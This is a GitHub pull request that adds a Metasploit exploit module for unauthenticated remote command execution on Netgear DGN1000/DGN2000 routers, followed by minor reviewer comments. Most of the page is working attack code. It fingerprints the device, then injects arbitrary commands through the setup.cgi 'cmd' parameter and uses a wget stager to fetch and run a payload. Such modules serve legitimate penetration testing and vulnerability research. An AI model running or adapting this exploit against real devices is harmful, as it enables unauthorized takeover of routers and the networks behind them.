Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Netgear DGN1000 Unauthenticated OS Command execution #9106

Merged
merged 16 commits into from Oct 23, 2017
98 changes: 98 additions & 0 deletions modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated OS command execution vulneralbility
in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
DGN2000v1 models.
},
'Author' => [
'Mumbai <https://github.com/realoriginal>', # module
'Robort Palerie <roberto@greyhats.it>' # vuln discovery
],
'References' =>
[
['EDB', '24464'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't look to be the same finding.

['URL', 'https://www.exploit-db.com/exploits/25978/'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

['EDB', '25978']

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

dont need this line anymore

],
'DisclosureDate' => 'Jun 5 2013',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' =>
[
[ 'Automatic', {} ]
],
))

end

def check
begin
res = send_request_cgi({
'uri' => '/setup.cgi',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /DGN1000/
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end


Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

remove a space?

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Connecting to target...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
end

print_status("#{peer} - Exploiting target ....")
execute_cmdstager(
:flavor => :wget,
:linemax => 200,
:concat_operator => " && "
)
end

def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => '/setup.cgi',
'method' => 'GET',
'vars_get' => {
'next_file' => 'netgear.cfg',
'todo' => 'syscmd',
'cmd' => cmd.to_s,
'curpath' => '/',
'currentsetting.htm' => '1'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end